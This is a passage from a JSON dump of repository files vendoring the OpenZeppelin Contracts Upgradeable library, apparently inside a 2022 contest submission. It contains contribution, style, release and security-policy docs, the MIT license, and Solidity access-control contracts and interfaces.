appointed\nrepresentative at an online or offline event. Representation of a project may be\nfurther defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team at maintainers@openzeppelin.org. All\ncomplaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html\n\n[homepage]: https://www.contributor-covenant.org\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/CONTRIBUTING.md",
    "content": "Contributing to OpenZeppelin Contracts\n=======\n\nWe really appreciate and value contributions to OpenZeppelin Contracts. Please take 5' to review the items listed below to make sure that your contributions are merged as soon as possible.\n\n## Contribution guidelines\n\nSmart contracts manage value and are highly vulnerable to errors and attacks. We have very strict [guidelines], please make sure to review them!\n\n## Creating Pull Requests (PRs)\n\nAs a contributor, you are expected to fork this repository, work on your own fork and then submit pull requests. The pull requests will be reviewed and eventually merged into the main repo. See [\"Fork-a-Repo\"](https://help.github.com/articles/fork-a-repo/) for how this works.\n\n## A typical workflow\n\n1) Make sure your fork is up to date with the main repository:\n\n```\ncd openzeppelin-contracts\ngit remote add upstream https://github.com/OpenZeppelin/openzeppelin-contracts.git\ngit fetch upstream\ngit pull --rebase upstream master\n```\nNOTE: The directory `openzeppelin-contracts` represents your fork's local copy.\n\n2) Branch out from `master` into `fix/some-bug-#123`:\n(Postfixing #123 will associate your PR with the issue #123 and make everyone's life easier =D)\n```\ngit checkout -b fix/some-bug-#123\n```\n\n3) Make your changes, add your files, commit, and push to your fork.\n\n```\ngit add SomeFile.js\ngit commit \"Fix some bug #123\"\ngit push origin fix/some-bug-#123\n```\n\n4) Run tests, linter, etc. This can be done by running local continuous integration and make sure it passes.\n\n```bash\nnpm test\nnpm run lint\n```\n\n5) Go to [github.com/OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts) in your web browser and issue a new pull request.\n\n*IMPORTANT* Read the PR template very carefully and make sure to follow all the instructions. These instructions\nrefer to some very important conditions that your PR must meet in order to be accepted, such as making sure that all tests pass, JS linting tests pass, Solidity linting tests pass, etc.\n\n6) Maintainers will review your code and possibly ask for changes before your code is pulled in to the main repository. We'll check that all tests pass, review the coding style, and check for general code correctness. If everything is OK, we'll merge your pull request and your code will be part of OpenZeppelin Contracts.\n\n*IMPORTANT* Please pay attention to the maintainer's feedback, since its a necessary step to keep up with the standards OpenZeppelin Contracts attains to.\n\n## All set!\n\nIf you have any questions, feel free to post them to github.com/OpenZeppelin/openzeppelin-contracts/issues.\n\nFinally, if you're looking to collaborate and want to find easy tasks to start, look at the issues we marked as [\"Good first issue\"](https://github.com/OpenZeppelin/openzeppelin-contracts/labels/good%20first%20issue).\n\nThanks for your time and code!\n\n[guidelines]: GUIDELINES.md\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/DOCUMENTATION.md",
    "content": "Documentation is hosted at https://docs.openzeppelin.com/contracts.\n\nAll of the content for the site is in this repository. The guides are in the\n[docs](/docs) directory, and the API Reference is extracted from comments in\nthe source code. If you want to help improve the content, this is the\nrepository you should be contributing to.\n\n[`solidity-docgen`](https://github.com/OpenZeppelin/solidity-docgen) is the\nprogram that extracts the API Reference from source code.\n\nThe [`docs.openzeppelin.com`](https://github.com/OpenZeppelin/docs.openzeppelin.com)\nrepository hosts the configuration for the entire site, which includes\ndocumentation for all of the OpenZeppelin projects.\n\nTo run the docs locally you should run `npm run docs:watch` on this\nrepository.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/GUIDELINES.md",
    "content": "Design Guidelines\n=======\n\nThese are some global design goals in OpenZeppelin Contracts.\n\n#### D0 - Security in Depth\nWe strive to provide secure, tested, audited code. To achieve this, we need to match intention with function. Thus, documentation, code clarity, community review and security discussions are fundamental.\n\n#### D1 - Simple and Modular\nSimpler code means easier audits, and better understanding of what each component does. We look for small files, small contracts, and small functions. If you can separate a contract into two independent functionalities you should probably do it.\n\n#### D2 - Naming Matters\n\nWe take our time with picking names. Code is going to be written once, and read hundreds of times. Renaming for clarity is encouraged.\n\n#### D3 - Tests\n\nWrite tests for all your code. We encourage Test Driven Development so we know when our code is right. Even though not all code in the repository is tested at the moment, we aim to test every line of code in the future.\n\n#### D4 - Check preconditions and post-conditions\n\nA very important way to prevent vulnerabilities is to catch a contract’s inconsistent state as early as possible. This is why we want functions to check pre- and post-conditions for executing its logic. When writing code, ask yourself what you are expecting to be true before and after the function runs, and express it in code.\n\n#### D5 - Code Consistency\n\nConsistency on the way classes are used is paramount to an easier understanding of the library. The codebase should be as unified as possible. Read existing code and get inspired before you write your own. Follow the style guidelines. Don’t hesitate to ask for help on how to best write a specific piece of code.\n\n#### D6 - Regular Audits\nFollowing good programming practices is a way to reduce the risk of vulnerabilities, but professional code audits are still needed. We will perform regular code audits on major releases, and hire security professionals to provide independent review.\n\n# Style Guidelines\n\nThe design guidelines have quite a high abstraction level. These style guidelines are more concrete and easier to apply, and also more opinionated. We value clean code and consistency, and those are prerequisites for us to include new code in the repository. Before proposing a change, please read these guidelines and take some time to familiarize yourself with the style of the existing codebase.\n\n## Solidity code\n\nIn order to be consistent with all the other Solidity projects, we follow the\n[official recommendations documented in the Solidity style guide](http://solidity.readthedocs.io/en/latest/style-guide.html).\n\nAny exception or additions specific to our project are documented below.\n\n* Try to avoid acronyms and abbreviations.\n\n* All state variables should be private.\n\n* Private state variables should have an underscore prefix.\n\n    ```\n    contract TestContract {\n      uint256 private _privateVar;\n      uint256 internal _internalVar;\n    }\n    ```\n\n* Parameters must not be prefixed with an underscore.\n\n    ```\n    function test(uint256 testParameter1, uint256 testParameter2) {\n    ...\n    }\n    ```\n\n* Internal and private functions should have an underscore prefix.\n\n    ```\n    function _testInternal() internal {\n      ...\n    }\n    ```\n\n    ```\n    function _testPrivate() private {\n      ...\n    }\n    ```\n\n* Events should be emitted immediately after the state change that they\n  represent, and consequently they should be named in past tense.\n\n    ```\n    function _burn(address who, uint256 value) internal {\n      super._burn(who, value);\n      emit TokensBurned(who, value);\n    }\n    ```\n\n  Some standards (e.g. ERC20) use present tense, and in those cases the\n  standard specification prevails.\n  \n* Interface names should have a capital I prefix.\n\n    ```\n    interface IERC777 {\n    ```\n\n\n## Tests\n\n* Tests Must be Written Elegantly\n\n    Tests are a good way to show how to use the library, and maintaining them is extremely necessary. Don't write long tests, write helper functions to make them be as short and concise as possible (they should take just a few lines each), and use good variable names.\n\n* Tests Must not be Random\n\n    Inputs for tests should not be generated randomly. Accounts used to create test contracts are an exception, those can be random. Also, the type and structure of outputs should be checked.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2016-2020 zOS Global Limited\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be included\nin all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\nOR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/README.md",
    "content": "# <img src=\"icon.svg\" alt=\"OpenZeppelin\" height=\"40px\" align=\"left\"> OpenZeppelin Contracts Upgradeable\n\n[![Docs](https://img.shields.io/badge/docs-%F0%9F%93%84-blue)](https://docs.openzeppelin.com/contracts/upgradeable)\n[![NPM Package](https://img.shields.io/npm/v/@openzeppelin/contracts-upgradeable.svg)](https://www.npmjs.org/package/@openzeppelin/contracts-upgradeable)\n\nThis repository hosts the Upgradeable variant of [OpenZeppelin Contracts], meant for use in upgradeable contracts. This variant is available as separate package called `@openzeppelin/contracts-upgradeable`.\n\n[OpenZeppelin Contracts]: https://github.com/OpenZeppelin/openzeppelin-contracts\n\nIt follows all of the rules for [Writing Upgradeable Contracts]: constructors are replaced by initializer functions, state variables are initialized in initializer functions, and we additionally check for storage incompatibilities across minor versions.\n\n[Writing Upgradeable Contracts]: https://docs.openzeppelin.com/upgrades-plugins/writing-upgradeable\n\n> :warning: **Warning**\n>\n> There will be storage incompatibilities across major versions of this package, which makes it unsafe to upgrade a deployed contract from one major version to another, for example from 3.4.0 to 4.0.0.\n> \n> Similarly, it is not safe to upgrade from `@openzeppelin/contracts-ethereum-package` (a similar previous package) to `@openzeppelin/contracts-upgradeable`.\n>\n> **It is strongly encouraged to use these contracts together with a tool that can automatically guarantee the safety of an upgradeable contract, such as the [OpenZeppelin Upgrades Plugins](https://github.com/OpenZeppelin/openzeppelin-upgrades).**\n\n## Overview\n\n### Installation\n\n```console\n$ npm install @openzeppelin/contracts-upgradeable\n```\n\n### Usage\n\nThe package replicates the structure of the main OpenZeppelin Contracts package, but every file and contract has the suffix `Upgradeable`.\n\n```diff\n-import \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\n+import \"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol\";\n \n-contract MyCollectible is ERC721 {\n+contract MyCollectible is ERC721Upgradeable {\n```\n\nConstructors are replaced by internal initializer functions following the naming convention `__{ContractName}_init`. Since these are internal, you must always define your own public initializer function and call the parent initializer of the contract you extend.\n\n```diff\n-    constructor() ERC721(\"MyCollectible\", \"MCO\") {\n+    function initialize() initializer public {\n+        __ERC721_init(\"MyCollectible\", \"MCO\");\n     }\n```\n\n> **Caution**\n>\n> Use with multiple inheritance requires special care. Initializer functions are not linearized by the compiler like constructors. Because of this, each `__{ContractName}_init` function embeds the linearized calls to all parent initializers. As a consequence, calling two of these `init` functions can potentially initialize the same contract twice.\n>\n> The function `__{ContractName}_init_unchained` found in every contract is the initializer function minus the calls to parent initializers, and can be used to avoid the double initialization problem, but doing this manually is not recommended. We hope to be able to implement safety checks for this in future versions of the Upgrades Plugins.\n\n_If you're new to smart contract development, head to [Developing Smart Contracts](https://docs.openzeppelin.com/learn/developing-smart-contracts) to learn about creating a new project and compiling your contracts._\n\nTo keep your system secure, you should **always** use the installed code as-is, and neither copy-paste it from online sources, nor modify it yourself. The library is designed so that only the contracts and functions you use are deployed, so you don't need to worry about it needlessly increasing gas costs.\n\n## Learn More\n\nThe guides in the [docs site](https://docs.openzeppelin.com/contracts) will teach about different concepts, and how to use the related contracts that OpenZeppelin Contracts provides:\n\n* [Access Control](https://docs.openzeppelin.com/contracts/access-control): decide who can perform each of the actions on your system.\n* [Tokens](https://docs.openzeppelin.com/contracts/tokens): create tradeable assets or collectives, and distribute them via [Crowdsales](https://docs.openzeppelin.com/contracts/crowdsales).\n* [Gas Station Network](https://docs.openzeppelin.com/contracts/gsn): let your users interact with your contracts without having to pay for gas themselves.\n* [Utilities](https://docs.openzeppelin.com/contracts/utilities): generic useful tools, including non-overflowing math, signature verification, and trustless paying systems.\n\nThe [full API](https://docs.openzeppelin.com/contracts/api/token/ERC20) is also thoroughly documented, and serves as a great reference when developing your smart contract application. You can also ask for help or follow Contracts's development in the [community forum](https://forum.openzeppelin.com).\n\nFinally, you may want to take a look at the [guides on our blog](https://blog.openzeppelin.com/guides), which cover several common use cases and good practices.. The following articles provide great background reading, though please note, some of the referenced tools have changed as the tooling in the ecosystem continues to rapidly evolve.\n\n* [The Hitchhiker’s Guide to Smart Contracts in Ethereum](https://blog.openzeppelin.com/the-hitchhikers-guide-to-smart-contracts-in-ethereum-848f08001f05) will help you get an overview of the various tools available for smart contract development, and help you set up your environment.\n* [A Gentle Introduction to Ethereum Programming, Part 1](https://blog.openzeppelin.com/a-gentle-introduction-to-ethereum-programming-part-1-783cc7796094) provides very useful information on an introductory level, including many basic concepts from the Ethereum platform.\n* For a more in-depth dive, you may read the guide [Designing the Architecture for Your Ethereum Application](https://blog.openzeppelin.com/designing-the-architecture-for-your-ethereum-application-9cec086f8317), which discusses how to better structure your application and its relationship to the real world.\n\n## Security\n\nThis project is maintained by [OpenZeppelin](https://openzeppelin.com), and developed following our high standards for code quality and security. OpenZeppelin Contracts is meant to provide tested and community-audited code, but please use common sense when doing anything that deals with real money! We take no responsibility for your implementation decisions and any security problems you might experience.\n\nThe core development principles and strategies that OpenZeppelin Contracts is based on include: security in depth, simple and modular code, clarity-driven naming conventions, comprehensive unit testing, pre-and-post-condition sanity checks, code consistency, and regular audits.\n\nThe latest audit was done on October 2018 on version 2.0.0.\n\nPlease report any security issues you find via our [bug bounty program on Immunefi](https://www.immunefi.com/bounty/openzeppelin) or directly to security@openzeppelin.org.\n\nCritical bug fixes will be backported to past major releases.\n\n## Contribute\n\nOpenZeppelin Contracts exists thanks to its contributors. There are many ways you can participate and help build high quality software. Check out the [contribution guide](CONTRIBUTING.md)!\n\n## License\n\nOpenZeppelin Contracts is released under the [MIT License](LICENSE).\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/RELEASING.md",
    "content": "# Releasing\n\n> Visit the documentation for [details about release schedule].\n\nStart on an up-to-date `master` branch.\n\nCreate the release branch with `npm run release start minor`.\n\nPublish a release candidate with `npm run release rc`.\n\nPublish the final release with `npm run release final`.\n\nFollow the general [OpenZeppelin Contracts release checklist].\n\n[details about release schedule]: https://docs.openzeppelin.com/contracts/releases-stability\n[OpenZeppelin Contracts release checklist]: https://github.com/OpenZeppelin/code-style/blob/master/RELEASE_CHECKLIST.md\n\n\n## Merging the release branch\n\nAfter the final release, the release branch should be merged back into `master`. This merge must not be squashed because it would lose the tagged release commit. Since the GitHub repo is set up to only allow squashed merges, the merge should be done locally and pushed.\n\nMake sure to have the latest changes from `upstream` in your local release branch.\n\n```\ngit checkout release-vX.Y.Z\ngit pull upstream\n```\n\n```\ngit checkout master\ngit merge --no-ff release-vX.Y.Z\ngit push upstream master\n```\n\nThe release branch can then be deleted on GitHub.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/SECURITY.md",
    "content": "# Security Policy\n\n## Supported Versions\n\nThe recommendation is to use the latest version available.\n\n| Version | Supported                            |\n| ------- | ------------------------------------ |\n| 4.x     | :white_check_mark::white_check_mark: |\n| 3.4     | :white_check_mark:                   |\n| 2.5     | :white_check_mark:                   |\n| < 2.0   | :x:                                  |\n\n## Reporting a Vulnerability\n\nPlease report any security issues you find to security@openzeppelin.org.\n\nCritical bug fixes will be backported to past major releases.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/UPGRADEABLE.md",
    "content": "# Technical notes about the Upgradeable repository\n\n## [Branches](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/branches)\n\n### `patches`\n\nBuilt on top of the `master` branch of the vanilla Contracts repo, contains the changes necessary to build this package: it adds the scripts to transpile and GitHub Actions for it to work automatically, changes the package name, etc.\n\nIt can also include small changes to the Solidity code, such as reordering of state variables, in order to ensure storage compatibility.\n\nIt's an important goal that this branch should be easy to merge with the vanilla Contracts repo, avoiding merge conflicts as much as possible. This is necessary to reduce manual intervention and ensure automation runs smoothly.\n\nThis branch will not necessarily be up to date with the vanilla `master` branch, only up to the point necessary to guarantee successful merging with any new updates. In some cases it will be necessary to apply a manual merge with new changes, it is this branch that should be updated for the changes to propagate to all other branches.\n\n### `patched/master`, `patched/release-vX.Y`\n\nThese branches are the merge between `patches` and the corresponding branch from vanilla Contracts. These branches should generally not be updated manually.\n\n### `master`, `release-vX.Y`\n\nContains the transpiled code corresponding to the branch from vanilla Contracts of the same name. These are generated automatically based on their `patched/*` branch. These branches should never be manually updated, because they will be overwritten automatically with the transpiled version of `patched/*`. Instead, changes should be made in `patches`.\n\n## [Actions Workflows](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/actions)\n\n### [Merge upstream](/.github/workflows/merge-upstream.yml)\n\nAll this does is fetch the latest changes from a corresponding branch in the vanilla Contracts repo, tries to merge them with `patches`, and then pushes the updated branch to `patched/*`. If the merge has conflicts, the worfklow will fail. We should be notified of this so that we can updated the `patches` branch resolving conflicts and trigger the merge again. This should not happen often.\n\n### [Transpile](/.github/workflows/transpile.yml)\n\nRuns every time a `patched/*` branch is pushed to (for example as part of the Merge upstream workflow), transpiles the contents of that branch, and pushes the results as a new commit on the transpiled branch.\n\n### [Test](/.github/workflows/test.yml)\n\nRuns normal Contracts tests on the `master` and `release-v*` branches.\n\n## Scripts\n\n### `transpile-onto.sh`\n\n```\nbash scripts/upgradeable/transpile-onto.sh <target> [base]\n```\n\nTranspiles the contents of the current git branch and commits the result as a new commit on branch `<target>`. If branch `<target>` doesn't exist, it will copy the commit history of `[base]` (this is used in GitHub Actions, but is usually not necessary locally).\n\nThis script can be used manually to build transpiled versions of specific commits, or branches other than the `master` Contracts branch.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/AccessControlEnumerableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControlEnumerableUpgradeable.sol\";\nimport \"./AccessControlUpgradeable.sol\";\nimport \"../utils/structs/EnumerableSetUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {AccessControl} that allows enumerating the members of each role.\n */\nabstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {\n    function __AccessControlEnumerable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __AccessControl_init_unchained();\n        __AccessControlEnumerable_init_unchained();\n    }\n\n    function __AccessControlEnumerable_init_unchained() internal onlyInitializing {\n    }\n    using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;\n\n    mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n        return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev Returns one of the accounts that have `role`. `index` must be a\n     * value between 0 and {getRoleMemberCount}, non-inclusive.\n     *\n     * Role bearers are not sorted in any particular way, and their ordering may\n     * change at any point.\n     *\n     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure\n     * you perform all queries on the same block. See the following\n     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]\n     * for more information.\n     */\n    function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {\n        return _roleMembers[role].at(index);\n    }\n\n    /**\n     * @dev Returns the number of accounts that have `role`. Can be used\n     * together with {getRoleMember} to enumerate all bearers of a role.\n     */\n    function getRoleMemberCount(bytes32 role) public view override returns (uint256) {\n        return _roleMembers[role].length();\n    }\n\n    /**\n     * @dev Overload {_grantRole} to track enumerable memberships\n     */\n    function _grantRole(bytes32 role, address account) internal virtual override {\n        super._grantRole(role, account);\n        _roleMembers[role].add(account);\n    }\n\n    /**\n     * @dev Overload {_revokeRole} to track enumerable memberships\n     */\n    function _revokeRole(bytes32 role, address account) internal virtual override {\n        super._revokeRole(role, account);\n        _roleMembers[role].remove(account);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControlUpgradeable.sol\";\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../utils/StringsUpgradeable.sol\";\nimport \"../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\n * members except through off-chain means by accessing the contract event logs. Some\n * applications may benefit from on-chain enumerability, for those cases see\n * {AccessControlEnumerable}.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```\n * function foo() public {\n *     require(hasRole(MY_ROLE, msg.sender));\n *     ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it.\n */\nabstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {\n    function __AccessControl_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __AccessControl_init_unchained();\n    }\n\n    function __AccessControl_init_unchained() internal onlyInitializing {\n    }\n    struct RoleData {\n        mapping(address => bool) members;\n        bytes32 adminRole;\n    }\n\n    mapping(bytes32 => RoleData) private _roles;\n\n    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n    /**\n     * @dev Modifier that checks that an account has a specific role. Reverts\n     * with a standardized message including the required role.\n     *\n     * The format of the revert reason is given by the following regular expression:\n     *\n     *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n     *\n     * _Available since v4.1._\n     */\n    modifier onlyRole(bytes32 role) {\n        _checkRole(role, _msgSender());\n        _;\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n        return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev Returns `true` if `account` has been granted `role`.\n     */\n    function hasRole(bytes32 role, address account) public view override returns (bool) {\n        return _roles[role].members[account];\n    }\n\n    /**\n     * @dev Revert with a standard message if `account` is missing `role`.\n     *\n     * The format of the revert reason is given by the following regular expression:\n     *\n     *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n     */\n    function _checkRole(bytes32 role, address account) internal view {\n        if (!hasRole(role, account)) {\n            revert(\n                string(\n                    abi.encodePacked(\n                        \"AccessControl: account \",\n                        StringsUpgradeable.toHexString(uint160(account), 20),\n                        \" is missing role \",\n                        StringsUpgradeable.toHexString(uint256(role), 32)\n                    )\n                )\n            );\n        }\n    }\n\n    /**\n     * @dev Returns the admin role that controls `role`. See {grantRole} and\n     * {revokeRole}.\n     *\n     * To change a role's admin, use {_setRoleAdmin}.\n     */\n    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\n        return _roles[role].adminRole;\n    }\n\n    /**\n     * @dev Grants `role` to `account`.\n     *\n     * If `account` had not been already granted `role`, emits a {RoleGranted}\n     * event.\n     *\n     * Requirements:\n     *\n     * - the caller must have ``role``'s admin role.\n     */\n    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n        _grantRole(role, account);\n    }\n\n    /**\n     * @dev Revokes `role` from `account`.\n     *\n     * If `account` had been granted `role`, emits a {RoleRevoked} event.\n     *\n     * Requirements:\n     *\n     * - the caller must have ``role``'s admin role.\n     */\n    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n        _revokeRole(role, account);\n    }\n\n    /**\n     * @dev Revokes `role` from the calling account.\n     *\n     * Roles are often managed via {grantRole} and {revokeRole}: this function's\n     * purpose is to provide a mechanism for accounts to lose their privileges\n     * if they are compromised (such as when a trusted device is misplaced).\n     *\n     * If the calling account had been revoked `role`, emits a {RoleRevoked}\n     * event.\n     *\n     * Requirements:\n     *\n     * - the caller must be `account`.\n     */\n    function renounceRole(bytes32 role, address account) public virtual override {\n        require(account == _msgSender(), \"AccessControl: can only renounce roles for self\");\n\n        _revokeRole(role, account);\n    }\n\n    /**\n     * @dev Grants `role` to `account`.\n     *\n     * If `account` had not been already granted `role`, emits a {RoleGranted}\n     * event. Note that unlike {grantRole}, this function doesn't perform any\n     * checks on the calling account.\n     *\n     * [WARNING]\n     * ====\n     * This function should only be called from the constructor when setting\n     * up the initial roles for the system.\n     *\n     * Using this function in any other way is effectively circumventing the admin\n     * system imposed by {AccessControl}.\n     * ====\n     *\n     * NOTE: This function is deprecated in favor of {_grantRole}.\n     */\n    function _setupRole(bytes32 role, address account) internal virtual {\n        _grantRole(role, account);\n    }\n\n    /**\n     * @dev Sets `adminRole` as ``role``'s admin role.\n     *\n     * Emits a {RoleAdminChanged} event.\n     */\n    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n        bytes32 previousAdminRole = getRoleAdmin(role);\n        _roles[role].adminRole = adminRole;\n        emit RoleAdminChanged(role, previousAdminRole, adminRole);\n    }\n\n    /**\n     * @dev Grants `role` to `account`.\n     *\n     * Internal function without access restriction.\n     */\n    function _grantRole(bytes32 role, address account) internal virtual {\n        if (!hasRole(role, account)) {\n            _roles[role].members[account] = true;\n            emit RoleGranted(role, account, _msgSender());\n        }\n    }\n\n    /**\n     * @dev Revokes `role` from `account`.\n     *\n     * Internal function without access restriction.\n     */\n    function _revokeRole(bytes32 role, address account) internal virtual {\n        if (hasRole(role, account)) {\n            _roles[role].members[account] = false;\n            emit RoleRevoked(role, account, _msgSender());\n        }\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/IAccessControlEnumerableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControlUpgradeable.sol\";\n\n/**\n * @dev External interface of AccessControlEnumerable declared to support ERC165 detection.\n */\ninterface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {\n    /**\n     * @dev Returns one of the accounts that have `role`. `index` must be a\n     * value between 0 and {getRoleMemberCount}, non-inclusive.\n     *\n     * Role bearers are not sorted in any particular way, and their ordering may\n     * change at any point.\n     *\n     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure\n     * you perform all queries on the same block. See the following\n     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]\n     * for more information.\n     */\n    function getRoleMember(bytes32 role, uint256 index) external view returns (address);\n\n    /**\n     * @dev Returns the number of accounts that have `role`. Can be used\n     * together with {getRoleMember} to enumerate all bearers of a role.\n     */\n    function getRoleMemberCount(bytes32 role) external view returns (uint256);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/access/IAccessControlUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControlUpgradeable {\n    /**\n     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n     *\n     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n     * {RoleAdminChanged} not being emitted signaling this.\n     *\n     * _Available since v3.1._\n     */\n    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n    /**\n     * @dev Emitted when `account` is granted `role`.\n     *\n     * `sender` is the account that originated the contract call, an admin role\n     * bearer except when using {AccessControl-_setupRole}.\n     */\n    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n    /**\n     * @dev Emitted when `account` is revoked `role`.\n     *\n     * `sender` is the account that originated the contract call:\n     *   - if using `revokeRole`, it is the admin role bearer\n     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)\n     */\n    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n    /**\n     * @dev Returns `true` if `account` has been granted `role`.\n     